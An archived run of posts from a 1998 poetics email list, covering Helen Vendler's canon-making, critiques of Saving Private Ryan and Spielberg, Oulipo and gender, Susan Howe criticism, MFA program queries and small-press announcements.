Thanks. No joke, unless it's on me.

> *The Vendler stuff is a stitch. She is truely the Ronnie Reagan of poetic reaction: no matter how much of a caricature people turn her into, she goes several steps further in banality and stupidity...I realize that by this point (as happened with that other great communicator) it has become tedious to point out how bankrupt her drivel is. But 1. like Ronnie, she holds enuff power that it's kinda hard to ignore her; 2. she really tends to sum up very well the most conservative trends in the literary establishment.*

Actually, I think that this is a little unfair. I hope I didn't caricature her, didn't mean to. However much I disagree with HV and her canons and/or methods, she's a passionate advocate of what she believes in. No doubting her influence and its consequences but even when she, say, dismisses Mina Loy she circulates discourse. My guess is that her politics are liberal, old-style humanist and all. Probably voted for Clinton. The case for her "Reaganism" would need to be argued. And I take it that her view/neglect of recent British poetries is symptomatic and partly the result of a lack of information for which the causes are many and complex. Which is not to say that after she notices--if she does--forthcoming anthologies like the Quartermain and Caddel she'll suddenly take up exegesis and critique of the poets included therein.

I suppose that at her level of visibility one must expect criticism and like anybody else she should be called on her blindnesses but not via cheap shots. Not to single you out in this regard and of course somehow the big E seems to encourage these as if it were itself an agent of noise and effusive dialogue on the edges of spectacle. Long live its ephemeral blur.

> *As a huge McDiarmid fan, not in touch with the last couple of decades of Scottish work, i found the "informationist" tag intriguing.. Anyone know of a good anthology or other source to focus on recent Scottish work?*

Robert Crawford's scholarly books would be one place to start and he's edited a forthcoming penguin anthology which will have some of these folks in it and might even make it to the US. There's an anthology of younger Scots as well, though I don't have it in front of me and forget the title and like so much else it's unavailable in the US anyway. W. N. Herbert's work would be one place to start for this nexus though I'd go back and find Tom Leonard and others.

> *...have we really overthrown Yeats and cast him into the outer darkness, in favor of Pound? Has the treatment of Yeats in academe really changed so radically since i went to college in the seventies?? I realize many of us working poets are more likely to read Zuke or H.D., but has the establishment really dropped the adulation of WBY that i grew up with?*

> *(...that wouldn't be so bad a thing, not because i don't love much of Yeats, but because like TSE and others he had a cult stretching over quite a few decades in mid-20th century academe that was excessive, boring and used up more of students' energy than any single poet should..)*
>
> *tendentiously,*
>
> *mark*

all best and in haste,

Keith

↑ Index

773. **Louis Cabri**
request for info on cantaloupo
Wed 29 Jul 1998

I'm wondering if anyone who has read Charles Cantaloupo would be willing to venture a few words about his work/context either on the list or to me backchannel. I would very much appreciate it.

Thanks very much in advance.

Louis

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774. **Mark DuCharme**
Re: the war room (strange love?)
Wed 29 Jul 1998

Afraid I've got to agree w/ Todd here-- & was resisting my own impulses to say something similar. I've always hated Schpielberg's "art" (albeit cognizant of his craft, in both senses)-- & felt he at the time he was iconic of conservative cultural trends of the 80s. (C.f. what was just posted viz Ronnie Reagan & Helen Vendler, which also probably could've gone w/out saying, & which also was dead on)....

--Mark DuCharme

todd baron wrote:

>I must say: the discussion on Spielberg seems way out of line for the
>list.
>Not that I'm suggesting a censor --or trying to stop the
discussion--but
>the man as an artist isn't! He rewrites history in a clumsy albeit
>monetary way--see Schindler's List--see that he is in the habit of

>recreating a Heroic mythology--a cartoon strip--and has been quoted as
>saying that "the great war movies of the 40's inspired (him)" Let's see
>
>a film about a shark (which he had to be pushed into doing)
>a film about an alien (a boyhood idea stolen really from Geroge Lucas)
>another film about aliens (WOW!)
>a film about the ATlantic Slave Trade (he was SUED for this one!)
>a film
> a film
> a film?
>
>WHOOPS--I meant "movie"!
>
>Spillberg (no typo) HAS destroyed the film industry--he won that war!
>The great films of the 60s and 70s he single handedly destroyed when he
>found out he couldn't make one! (No "humanity" or "personality" in his
>films! Read RAGING BULLS and EASY RIDERS! His first film was THE
>SUGERLAND EXPRESS--trying to be Altman, trying to be Scorsessem etc!)
He
>was raised on TV for god's sake! The big MACHINERY he p[roduced--the
>studio he saved (UNIVERSAL) they both overtook the great films of Hal
>Asbhy (Harold and Maude, Shampoo, etc--films that made money!), Altman,
>Scorsesee(his great films hardly were released! Yup--Taxi Driver did
not
>make the man wealthy!) Even Coppola (and left him a rather commercial
>idiot I maight say--from Godfather and Apocylypse NOW (a GREAT "war"
>movie--a movie that took a war into the lens--to "Jack" and
>.....)
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>Phew.
>
>Hey..I guess this is fun!
>
>Back to the poem.....
>
>
>What about poetic Heroes anyway--like Spicer?
>
>Todd Baron
>(ReMap)
>

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775. **Mark DuCharme**

Re: (t)angling american poetic redactions

Wed 29 Jul 1998

I also wanted to thank you, Keith, for an engaging post, & postscripts.

Re: the O'Harista thing-- if not a joke, shocking. What imitators, from the Lower East Side to Poland, always seem to me to miss-- & this is clearly brought out in the excerpt you quote-- is the social gesture integral to O'Hara's "personist" (i.e., less abstract, most famous) work. Style, thus-- in an irony apparently lost on the O'Harista-- becomes abstracted from the social, making the poem literally into an artifact, which is something that O'Hara clearly was trying to circumvent. The transposition of contexts from the 1950s NY art world of "Why I Am Not A Painter," to the 90s Polish laborer in the excerpt you quote, thus makes for unintentional parody, completely undermining what (one presumes) is the intended effect. (Though I'd be interested to read more on the poetics of this O'Harista movement).

Re: Vendler-- I don't think it's unfair. Yes, she is probably a good left/liberal, but so is Speilberg (see my previous post). What is _conservative_ in both cases is not the espoused politics (though from an anarchist perspective one might argue differently), but the cultural politics: in Vendler's case as a critic, in Speilberg's case as a filmmaker. Vendler's project, it seems to me, is one of canon-making; if she dismisses Loy, for example, I'm sure that is her personal reaction, but it is also a public dismissal that (she realizes) will probably turn some readers away from Loy's work. Her totalizing (not even apologetic) dismissal of figures like Prynne & Raworth, among others, speaks for itself. It is not as if Vendler ever elevates a poet like Mac Low, for example. Her's is clearly a political project with regard to culture-- the reification of a singular aesthetic. I don't even think she would deny this.

--Mark DuCharme

Keith Tuma wrote:
>>Thanx to Keith Tuma for a superb conference report...
>>
>>Are you sure the entire Polish Oharista movement isn't someone's idea
of
>>a joke? Sounds like it (fairly amusing one too) Maybe it's just
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>>the work of Yasusada has badly destabilized the epistomology of

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>like anybody else she should be called on her blindnesses but not via
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>Keith
>

_____
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776. **Pritchett,Patrick**

Re: un petit pont de pierre (fwd)

Wed 29 Jul 1998

Excellent analysis, David. And I'll shut up about it after this but just to add to your list of "Bridge films" (hadn't quite realized what a genre it was!) Frank Perry's WWII film called "The Bridge" from the early 60's. Depicts ragtag group of German boys, average age 12-14, Hitler Youth I guess, defending a bridge into Berlin. Haven't seen it in years, but I think they all get killed. Very bleak, bitter film.

Richard Slotkin treats the ideology of The Alamo/Custer's Last Stand in American myth at length in the second volume of his Gunfighter Nation trilogy, _The Fatal Environment_. Well worth checking out.

Patrick Pritchett

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777. David Erben (Art)

Re: un petit pont de pierre (fwd)

Wed 29 Jul 1998

I've only seen Saving Private Ryan once and so am hesitant to write anything critically about it. However, I have no intention of seeing it again and so offer these comments with the apology in advance that my memory of the film may at times be inaccurate.

The ultimate failure of the film, it seems to me, rests not with the issue of "realism" or "history" or "morality" but with its failure to remain consistent with the logic it establishes for itself in the 25 minutes on Omaha Beach. The logic it seems to be establishing for itself in those 25 shocking minutes is somewhere around "War is Hell" and "The only glory in war is surviving" - the logic, as has been observed, of The Big Red One and All Quite on the Western Front. The Omaha Beach scenes establish war as messy, capricious, horrible, and chaotic: rank, class, religion, etc. all mean nothing in terms of who lives and who is wounded and who dies. The beach is the site of "chance. Once the film privileges the 8 man squad, however, the film radically alters its logic and therefore its attitude toward "war". The focus shifts from the countless men at the beach WHO WE KNOW AND LEARN NOTHING ABOUT (including the defenders, one of whom speaks in Czech, I believe, when he tries to surrender) to the 8 man squad and the obstacles they encounter and their fates. The film attempts to remain true to the logic established on the beach (in the interrogation of the Emerson quote about the nobility of war, the death of the soldier who tried to save the girl, etc) but slowly transforms itself from a D-Day film to a "platoon" film, to a "bridge" film and, ultimately, into a "last stand" film. The "war is hell logic" gives way to a "it's a good day to die" logic (the current, popular, heroic action adventure cliche, I believe) where the heroes get to choose when, where and largely how they die). The cavalry arrives just in the nick of time to save the bridge and the war if not quite all the characters we have been manipulated into knowing just enough to care about. The many deaths on the beach give way to the few significant deaths of the squad. The Germans start to look like Indians from countless westerns (notice how in Hollywood WWII films the Germans always manage to outnumber Americans) and the holding of the bridge becomes just one more fort the outnumbered Cavarly must defend "at all costs." Why? Because Rommel is on the way? Because "if we do this we earn the right to go home?" Because "somebody has to do it"? or because its a spectacular, sentimental way to end a film?

As such, it seems to me, the film is best compared, if we are to stick to war films, not to the various films on D-Day or on WWII in general, or to the many "platoon" films, but instead, as Marjorie Perloff suggested, to "bridge" films: The Bridge at Remagen, The Bridge on the River Kwai, A Bridge too Far, The

Bridges at Toko-Ri (also with William Holden), etc. I don't think it ranks very highly in this list because, in the simplest sense, the bridge just does not amount to much: it's an unimpressive stone bridge across a river you could throw a rock over. Visually, unlike the previous bridges mentioned, it is not interesting.

More importantly, perhaps, by the time the squad reaches the bridge, all of the chaos of Omaha Beach and the absurd order to have 8 men try and save 1 and whatever pretense it has for being "historically" accurate and "realistic" is lost and the film becomes cliche driven - just exactly like the John Wayne film The Alamo (which is the name Capt Miller gives the building where they are supposed to retreat to). The issue at the bridge is not "war" or "anti war" or "WWII" but how most of the squad die and how their deaths are given transcendent meaning (and if we did not get the "meaning" of their deaths when the cavalry arrive, we better get it when grandfather Ryan and his children and grandchildren are at the cemetary at the end).

Whereas, in the film, on Omaha Beach death could occur at any moment in the most dehumanizing way, at the bridge all of the remaining Rangers get their heroic moments - each dies after valiantly fighting and killing many Germans (remember the logic of the John Wayne film: for every hero that dies, before he dies, he has to kill 5 bad guys). None of the squad at the bridge die messy deaths and most of them get to say a word or two before they go (no images of Hanks with his guts spilling out, please).

In other words, the film becomes exactly what it argues it is not - just another cliche (and, let me add,I think Schlinder's List becomes just exactly what it argues against as well...).

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778. **toddbaron**
the war room
Wed 29 Jul 1998

I must say: the discussion on Spielberg seems way out of line for the list. Not that I'm suggesting a censor --or trying to stop the discussion--but the man as an artist isn't! He rewrites history in a clumsy albeit monetary way--see Schindler's List--see that he is in the habit of recreating a Heroic mythology--a cartoon strip--and has been quoted as saying that "the great war movies of the 40's inspired (him)" Let's see

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WHOOPS--I meant "movie"!

Spillberg (no typo) HAS destroyed the film industry--he won that war! The great films of the 60s and 70s he single handedly destroyed when he found out he couldn't make one! (No "humanity" or "personality" in his films! Read RAGING BULLS and EASY RIDERS! His first film was THE SUGERLAND EXPRESS--trying to be Altman, trying to be Scorsessem etc!) He was raised on TV for god's sake! The big MACHINERY he p[roduced--the studio he saved (UNIVERSAL) they both overtook the great films of Hal Asbhy (Harold and Maude, Shampoo, etc--films that made money!), Altman, Scorsesee(his great films hardly were released! Yup--Taxi Driver did not make the man wealthy!) Even Coppola (and left him a rather commercial idiot I maight say--from Godfather and Apocylypse NOW (a GREAT "war" movie--a movie that took a war into the lens--to "Jack" and .....)

Phew.

Hey..I guess this is fun!

Back to the poem.....

What about poetic Heroes anyway--like Spicer?

Todd Baron
(ReMap)

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779. Don Cheney
Saving Private Ryan
Wed 29 Jul 1998

KFI-AM radio out here in Southern California has a wonderful talk show on from 7-11pm called the Phil Hendrie Show. Phil was talking about Saving Private Ryan with Doug Dangur, an entertainment writer for the Orange County Courier. As a gay man, Dangur saw SPR as a metaphor for the struggle of Gays and Lesbians in America.

Some of the connections he found between the film and the struggle for gay liberation:

*Mussolini shaved his head so it would be a phallic symbol

*D-Day is an obvious reference to Doris Day

*The German goose step was developed by a dance instructor

One of his final observations:

*He hadn't actually seen the film, he had just seen clips and WWII newsreels.

You can hear the phil hendrie show using Real Audio over the internet from the KFI webpage at:

http://www.kfi640.com

You can hear sound clips (mostly mp3 files) from the phil hendrie show on my own web page at:

http://members.xoom.com/doncheney

don cheney

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780. **David Baratier**
Re: Was it a "good war"?
Wed 29 Jul 1998

How would the different poets and critics here like to die?

I would like to die like a certain semiotician who was hit one week by a mail truck while reading current philology. A week or so after recouperating, a laundry truck finished the job. I believe the 2nd book was by Vendler which stuck the reader as hilarious shortly before the laundry man, Pierre, went down in history.

be well

David Baratier

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781. **KENT JOHNSON**
Was it a "good war"?
Wed 29 Jul 1998

Marjorie:

You mentioned that you found my question creepy. But I think you (along with David B, Alan S., and Maxine C.) misunderstood my intent: I was not asking whether or not it was a good thing to fight fascism! Actually, if I could choose my death (imagining myself for a moment with courage I probably don't have), I think it would be to travel in time to die on a barricade in Warsaw or Madrid. That would be, from my perspective, a "good" death.

(Now here would be a "creepy" but fascinating thread for the List sometime: How would the different poets and critics here like to die?)

Really, what I was pointing toward (obliquely, I admit) is the way "good war" has become a a kind of propaganda buzz-idea, ideologically loaded and mobilized in the construction of an official myth of national "goodness"-- a myth that Spielberg's film will powerfully contribute to shaping and strengthening. It's a myth that continues to help obscure the real history of U.S. deceit, aggression, and subversion of democracy around the world in the wake of WW2. It helps obscure the fact that WW2 was a conflict between rapacious imperialist states on _both_ sides. It was certainly good that the side that lost, lost. But the side that won was not good, nor was it "anti-fascist" in any principled sense, as Washington's and Wall Street's support of fascistic regimes in the post-war period makes perfectly clear.

So the question I asked seems quite reasonable to me and also quite relevant to our current situation, for it won't likely be long before we have another Gulf War or worse, and we will all be asked to remember how the old Gulf War was a "good war", just as we were being asked to remember how WWII was a "good war" as we were being readied for the Gulf War.

In other words, the enemy might be clear, but for the sake of the future it is good to know for whom one is fighting. This is some of what I had in the back of my mind when I asked my question.

And by the way, David Erben, you should publish that fine analysis of the movie somewhere!

Kent

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782. **Amarnath V. Rauva**

Re: POETICS Programs

Wed 29 Jul 1998

I was wondering if anyone would reply with a list of some MFA/Poetics programs that they considered good. I'm considering getting an MFA in writing or a PhD in Poetics after I graduate from Berkeley this year. One of the most problematic things is that there is no (at least I haven't found it yet) comprehensive list of MFA programs in the country and who teaches at those programs.

thanks,
Amar Ravva

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783. Charles Bernstein
Settling New Scores
Wed 29 Jul 1998

If in New York, I recommend "Settling New Scores: Music Manuscripts from the Paul Sacher Foundation", with scores (and related items) by Nancarow, Boulez, Cage, Ferneyhough, Schoenberg, Stravinsky, Berio, Carter, Webern, and many others.

The Pierpont Morgan Library
29 E. 36th Street
[redacted]
Hours: Tues-Sat 10:30am-5pm
Sun 1pm-5pm
Closed Mon

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784. Tom Beard
Symptoms of Oulipo women
Wed 29 Jul 1998

I'm not so ready to regard Harry Mathews' comment about hopscotch as "deliberately evasive and even meaningless", although of course there may have been some snideness in its delivery which doesn't come through. Although it might be read as being flip, I read it as rejecting the simplistically essentialist assumption that women are not interested in strict mathematical rules.

Hopscotch might just be one example of a 'traditional women's activity' that relies upon "the strict application of rules and limitation". Knitting (and other fabric arts) and music are perhaps other examples of activities where explicit rules are used. Perhaps it is not the presence or absence of rules that discourages women, but the social context of the activity. In that case, might Mathews' comment not be seen as addressing the question rather than dismissing it?

Henry says that "during 'that' time, for various reasons, not as many women as men were excited about mathematics". It's not just 'that' time: in my maths honours class (late 80s) there were 5 men and no women; and there was only one woman on the staff (a post-grad tutor). Things might have changed for the better even in the last decade: for the past few years our intakes of trainees at work (mostly maths or physics honours grads) have been about 50/50.

Shifting to the discussion of Yau's stripper monologue, I'm not so sure that I'd dismiss it out of hand as being just "what men think women think". Although I'm on shaky ground even discussing this, might it be possible that the gulf between a woman who works in the sex industry and one who doesn't is at least as

wide as that between men and women in general? Where Yau's monologue seems unrealistic is in its language rather than in its content: my female friends who put on low cut tops and go out to trashy bars to see what they can pull wouldn't use terms like "cornstalk smile" or "smooth as a wave", but otherwise their thoughts (or at least, the way that they present their thoughts to their male friends) seem not too different.

Again, I may be way off base here too. A female friend of mine (_not_ one of those who go to sleazy bars, I must add, except for research purposes) had a story published a couple of years ago called "Striptease: or the butterfly, this other species", and from what I remember the female protagonist wasn't too far off Yau's. The combination of fierce pride in the powers of her body with total contempt for the subhuman punters seems very similar. I should re-read it. Can anyone suggest a female writer who writes of her own experiences in the sex industry? Annie Sprinkle? Raewyn Alexander? Xaviera Hollander?!?? And which if any of the many filmic presentations of the industry seems realistic and/or productive? "Exotica"? "Mona Lisa"? "Whore"?

Tentatively,

Tom Beard.

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785. **David Baratier**
[Fwd: fixing to die]
Wed 29 Jul 1998

I wanna be killed by Myouka. Preferably a semi. Reading the IIS 4 Guide for Dummies.

http://www.myouka.org/
Image: http://www.myouka.org/bin/Jennifer.jpg
Image: http://www.myouka.org/BIN/POETS/ASondheim2.jpg
Image: http://www.myouka.org/BIN/Nikuko.jpe
Image: http://www.myouka.org/bin/poets/Rpinsky2.jpg
Image: http://www.myouka.org/BIN/findfault.jpg
Image: http://www.myouka.org/BIN/POETS/Julu2.jpg
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Image: http://www.myouka.org/BIN/POETS/Ilovejennifer.jpg
Image: http://www.myouka.org/BIN/surprise.JPG

Alan Jennifer Sondheim wrote:
>
> I wanna be killed by Jennifer.
> I wanna be killed by Alan.
> I wanna be killed by Nikuko.
>
> - Julu
>
> On Wed, 29 Jul 1998, David Baratier wrote:
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> > laundry man, Pierre, went down in history.
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> > David Baratier
> >

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786. Alan Jennifer Sondheim
Writing.out
Wed 29 Jul 1998

-

Writing.out

Nikuko says she doesn't speak so much as try words out. And not just words, or not primarily words, but words in sequences, seeing if they fit together. There's always a question associated with her voice as it's written - her voice which is an inference or a dreaming. What is cyberspace. It is a dreaming. What kind of dreaming. The kind where there appear to be dominions and grids, always expanding, intersecting - who knows whether or not they're regular. You can see the fine wires. Nikuko says she doesn't mean fiber optic at all, she's talking about the wires laying across the ground as if they were attached to guided missiles. Someone wears goggles, Jennifer adds, and then she can see where the missile goes. You can see through the front-end television. The target gets closer and closer; you might imagine the pores of the skin and then, nothing.

After the explosion, wires re- mained criss-crossing the desert. That's the kind of dream cyberspace is, says Nikuko, just exactly.

In that, there are words which are targets, you can imagine the mis- sile heading towards _hunger._ It lands somewhere between the _u_ and _n_, she says, think of it as

```
              ||
              ||
              ||
              ||
            hu||nger
```

breaking it in two, its connection with organism. Then there's no more hunger, Jennifer asks playfully? No, there's no more hunger, that is surely the truth, Nikuko "says." She has tried the word on, seen it fit to wear, to fail, to fall, to fulfill. She has tried it on, shot it down. In a dream, the word has appeared; it was at the bottom of a deep valley, in the midst of a deeper ocean. It was blank ink in dark- blue water, and as she watched it, it dissipated, and then later, there was a thread about it on an email list, and that was in her dream as well - writing a response to the list, cc: ing it to her con- scious - and here, Jennifer began to think, she was at last coming to grips with it, writing her hunger out.

↑ Index

787. **charssmith**

Re: How

Thu 30 Jul 1998

One of the first pieces I read was George Butterick's attempt to engage _Defenestration of Prague_ : "Endless Protean Linkage" (Hambone 3). Might be interesting to read again.

--cs

In a message dated 98-07-29 07:25:28 EDT, you write:

<< short of a critical treatise, would love to hear more on howe, if only recommendations of some useful secondary-critical takes on or ways into her work.
>>

↑ Index

788. Alan Jennifer Sondheim
fixing to die
Thu 30 Jul 1998

I wanna be killed by Jennifer.
I wanna be killed by Alan.
I wanna be killed by Nikuko.

- Julu

On Wed, 29 Jul 1998, David Baratier wrote:

> *How would the different poets and critics here like to die?*
>
> *I would like to die like a certain semiotician who was hit one week by a mail truck while reading current philology. A week or so after recouperating, a laundry truck finished the job. I believe the 2nd book was by Vendler which stuck the reader as hilarious shortly before the laundry man, Pierre, went down in history.*
>
> *be well*
>
> *David Baratier*

↑ Index

789. Tosh
Re: fixing to die
Thu 30 Jul 1998

If I am to die, I want to die as a well-dressed poet... but perhaps it is because I just saw this amazing film directed, written, and staring Yukio Mishima. It is basically a stylized setting for his future suicide. Mishima took death as an art form.

Tosh Berman
TamTam Books

↑ Index

790. **John Tranter**
Announcing Jacket # 4
Thu 30 Jul 1998

Jacket magazine is a literary quarterly free on the Internet, edited from Sydney Australia by poet John Tranter. Issue # 4 is now fully fitted and stitched up, at this URL:

http://www.jacket.zip.com.au/jacket04/index04.html

Announcing Jacket's first QUIZ, with real prizes!

With a gallery of sparkling poems by :

Adam Aitken, Charles Alexander and Sheila Murphy - a collaboration, Gary Catalano, Maxine Chernoff, Bernard Cohen, M.T.C.Cronin, Elaine Equi, Coral Hull, David Lehman, Tony Lopez, Rod Mengham, Ian Patterson, Roger Pellett, Gig Ryan, Keston Sutherland, and Robert Vandermolen.

Articles to knock your socks off:

David Lehman - The Questions of Postmodernism,
Eliot Weinberger : on the strange ghosts of Ísland,
Caddel and Quartermain : OTHER British and Irish Poetry since 1970,
Forrest Gander - review of Yasusada : DOUBLED FLOWERING,
A peculiar and perspicacious Portuguese perspective of the 1998 Cambridge (England) Conference of Contemporary Poetry,
H.M.Enzensberger's "KIOSK" reviewed by Lawrence Joseph,
Noel King interviews Pete Ayrton, publisher of Serpent's Tail books,
Mr Rubenking's "BREAKDOWN" - computers and writing (with a REAL AUDIO recording of ROBOT POET Joy H.Breshan reading a computer-generated poem in
the mode of Mr Ashbery, and John Tranter's "Carousel", a computer-assisted prose story),
Tom Clark's "White Thought" reviewed by Dale Smith,
Photography - art, fine art, or prostitution?,
Pet of the Month - the MEERKAT (very handy for poets - find out why),
Great Moments in Literature # 13 - Kleist's TWELVE-VOLUME OPUS reduced to
haiku (!) ,
Dangerous Liaisons # 91 - Jo and Meg in Mexico.

. . . and, as usual, a lather of photographs and other visuals.

Drop by, try the fit of the Jacket, and if you like it, tell your friends!

(I understand that you may not wish to receive these notices.
(If so, please reply to this email to that effect, and (I'll take your name off the mailing list pronto. [J.T.]

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

791. Anthony lawrence
Re: fixing to die
Thu 30 Jul 1998

Tosh,

what's the name of the film? The only one I've seen
starred Ken Ogata ("Mishima") which was also
highly stylised and combined theatre and film.

Best,

Anthony

****

Anthony Lawrence
Po Box 75
Sandy Bay
Tasmania 7006

↑ Index

792. Rodrigo Toscano
Query: Robert Kocik
Thu 30 Jul 1998

Hoping someone has R. Kocik's e or address....or info leading to...

Please "backchannel"...

Rodrigo Toscano

↑ Index

793. George Bowering
Re: Symptoms of Oulipo women
Thu 30 Jul 1998

> *I'm not so ready to regard Harry Mathews' comment about hopscotch as "deliberately evasive and even meaningless"*
> *Might Mathews' comment not be seen as addressing the question rather than dismissing it?*

Surely that would be the first interpretation most people would apply, wouldnt it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

794. Aviva Vogel
Re: Poetix programs
Thu 30 Jul 1998

Precious. My experience and sentiments, almost exactly.

In a message dated 98-07-17 16:34:54 EDT, you write:

> So, why go to school? I did it because it was a way to focus for 2 years on
> my
> writing, and take my own work more seriously. A friend once said "I bought
2
> years
> to write." Also, and more to the point, I had a blast. This was fun. I got
> to read
> and write and call it work. I once had a roommate who collected "useless
> degrees"
> -- he had an MA in theology and was working on one in psychology. He was a
> lot of
> fun to talk to, and he made a living as a carpenter.
> Yours in impracticality,
> Laura W(hy not)
> --

↑ Index

795. **Poetics Agent 288793**

Re: How (fwd)

Thu 30 Jul 1998

---

this was in poetics mailbox..

---------- Forwarded message ----------
Date: Wed, 29 Jul 1998 11:30:03 -0700
From: Peter Quartermain <[redacted]>
To: Tom Orange <[redacted]>
Cc: [redacted]
Subject: Re: How

Tom:

Excuse my butting in here, but there's a heck of a lot of stuff published about Susan Howe, if that's what you want. I think the best essays are still those by George Butterick (North Dakota Quarterly 55, Fall 1987) Rachel Blau DuPlessis ("Whowe", Sulfur 20, Fall 1987) and Marjorie Perloff (in, hmmm, _Poetic License_ 297-310). There's also a pretty good one by Gregory Dale Adamson in the Michel Serres issue of _Sub/Stance_ 83: 1997 ("Serres Translates Howe"); and I should also (of course!) mention my own essay in _Disjunctive Poetics: From Gertrude Stein and Louis Zukofsky to Susan Howe_ (Cambridge UP 1992).

John Taggart has a pretty good essay too, somewhere, but I can't remember where.

Obviously the best entry to her work is her work. But read the first chapter of her brilliant prose book _The birthmark: Unsettling the wilderness in American literature_ -- or her more celebrated _My Emily Dickinson_.

Peter

At 12:46 AM 7/29/98 -0400, you wrote:
>daniel b, mark p --
>
>short of a critical treatise, would love to hear more on howe, if only
>recommendations of some useful secondary-critical takes on or ways into
>her work.
>
>thanks,
>t.
>
+ +

Peter Quartermain
846 Keefer Street

Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

↑ Index

796. Fredrik Hertzberg LIT

Shoptaw's units of measurement

Thu 30 Jul 1998

Reading John Shoptaw's "The Music of Construction - Measure and Polyphony in Ashbery and Bernstein" (in The Tribe of John) I'm just wondering who else has used these units of prosodic measurement - character, word, line, phrase, sentence, section. I'm aware of Silliman's use of sentence but not much else.

Fred Hertzberg,
Finland

↑ Index

797. daniel bouchard

Re: Adverts

Thu 30 Jul 1998

>For those interested I'll be placing the brief introductory article on
>J.H. Prynne by Rod Mengham and myself on my website tomorrow - it's from
>the forthcoming Bloodaxe catalogue and lists publication details for the
>forthcoming *Poems*, includes quotes, a Prynne poem, etc.
>
>J.H. Prynne
>*Poems*
>August 1998 234 x 156mm 432 pages
>1 85224 492 5 £25.00 cloth
>1 85224 491 7 £12.00 paper
>Bloodaxe/Folio (Salt) co-publication
>Australia: Fremantle Arts Centre Press
>
>Best,
>JK
>
>
>_____

>John Kinsella
>Churchill College
>Cambridge CB3 ODS
>England
>http://www.geocities.com/SoHo/Square/8574/
>
>
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

798. henry gould
anglo/amer yeatspound
Thu 30 Jul 1998

The idea of Yeats as a counter-exemplar to Pound is not anachronistic per se. American experiment from Pound to Stein to Zukofsky to Howe etc. has had a lot invested in the "disjunctive", as P. Quartermain's book title emphasizes. While Yeats is no more attractive than Pound on a political level, on an artistic level there is a clear alternative path. Both Pound & Yeats were trained or self-taught in both visual art & music; but they went in different directions with it. Pound's fascination with the image led a poetics of disjunction; Yeats moved toward synthesis - a synthesis of word, rhythm, and image. That approach is by no means played out, despite the experimental tribe's ideological attachment to disjunction as the insignia of political resistance & philosophical savoir-faire. - Henry Gould

↑ Index

799. Mark Prejsnar
Re: Symptoms of Oulipo women
Thu 30 Jul 1998

On Thu, 30 Jul 1998, Tom Beard wrote:

In
> that case, might Mathews' comment not be seen as addressing the question
> rather than dismissing it?
>

Mebbe.....But the point is, you really have ta work at the reply (as it was repeated on the List, certainly) to create on behalf of HM a good, well-intentioned "meaning." In the context of my original questions and concerns (which were *political* quite specifically, indeed: offensively P.C. i hope..) about the staggeringly stag character of the O'o, the hopscotch line didn't seem to get us much of anywhere...

But he wasn't answering my question (quite); so no doubt i was being unfair. If it had been me in HM's shoes, i would have addressed the whole gender issue directly, even tho' the question was couched in terms of women and math, because i think gender-politix issues are crucial everywhere in our lives. But admittedly HM is not me (poor guy) and i wasn't there. But that's the source of my sounding overly impatient about the hopscotch comment. (an impatience i still think is pretty appropriate.)

politically correctishly,
mark p

↑ Index

800. Fredrik Hertzberg LIT
Shoptaw's units of measurement II
Thu 30 Jul 1998

One clarification: what I meant to ask was who else (than Shoptaw) has used these measures in the context of discussing prosody, i.e. in a "critical" text. (Not of course which poets have used them in writing poetry.)

: Reading John Shoptaw's "The Music of Construction - Measure and
Polyphony : in Ashbery and Bernstein" (in The Tribe of John) I'm just wondering
who : else has used these units of prosodic measurement - character, word, :
line, phrase, sentence, section. I'm aware of Silliman's use of : sentence but not
much else.

Fred Hertzberg

↑ Index

801. **L Emerson**
Re: POETICS Programs
Thu 30 Jul 1998

I too would be interested in knowing who offers MA or PhD programs in poetics--if the person(s) kind enough to know and respond could back-channel me too I would be _grateful_!

Thanks much,
Lori Emerson

On Wed, 29 Jul 1998, Amarnath V. Rauva wrote:

> *I was wondering if anyone would reply with a list of some MFA/Poetics programs that they considered good. I'm considering getting an MFA in writing or a PhD in Poetics after I graduate from Berkeley this year. One of the most problematic things is that there is no (at least I haven't found it yet) comprehensive list of MFA programs in the country and who teaches at those programs.*
>
> *thanks,*
> *Amar Ravva*

↑ Index

802. **Erik Sweet**
"Tool a Magazine" Party 8/14!!!!NYC
Thu 30 Jul 1998

"Tool a Magazine" is having a party on August 14th to celebrate the premier Issue!
It will be in New York City at 5 Union Square West
at "Teachers and Writers Collaborative" ....5th Floor (above Staples)

"So Mark Your Calenders" "Pals" "Get Ready"

There will be drinks, food, a pinata, and readings by:
"Pierre Joris" "Eleni Sikelianos" Anselm Berrigan" and "Jordan Davis"

Beginning at 6pm.

Please come and introduce yourself...

thanks, erik sweet and lori quillen co-editors

"Tool a Magazine" the first issue.." ready August 14th!!!!"

any questions backchannel me....!!!!!!!!!!!!!!!!

↑ Index

803. Corey McLeod
Re: POETICS Programs
Thu 30 Jul 1998

---

i too am intersted in poetics programs. back-channel me as well.
thanks,
corey s mcleod

↑ Index

804. Gary Sullivan
d.a.levy / call for papers, etc.
Thu 30 Jul 1998

Hello Everyone:

David Kirschenbaum asked me to post this:

BOOGLIT #6
Call for submissions and papers for:

1) Booglit #6 d.a.levy issue
pub date Dec 1, 1998
edit & art deadline Oct 1, 1998
poems, prose, memories, artwork are all welcome

2) d.a.levy conference We are in the planning stages of putting together a two-day levy conference in NYC Fri-Sat Dec 11-12, 1998, with readings, talks and panel discussions, including a reading on Fri night Dec 11, at the Poetry Project at St. Mark's Church. We are looking for papers relating to the following topics (although any and all papers and proposals will be considered):

a) Mimeo revolution
b) 1968 in American
c) Cleveland poetry scene in the 60s

Please send papers with a one page abstract.
Please send all submissions, when possible, on disc in a word processing program, preferably Microsoft Word.
All submissions should be sent to:

David Kirschenbaum BOOGLIT
P.O. Box 20531 New York, NY 10011
attn: d.a.levy issue (or conference)
If you have any inquiries, contact BOOGLIT
[redacted] or [redacted]

↑ Index

805. Jessica Smith
Re: POETICS Programs
Thu 30 Jul 1998

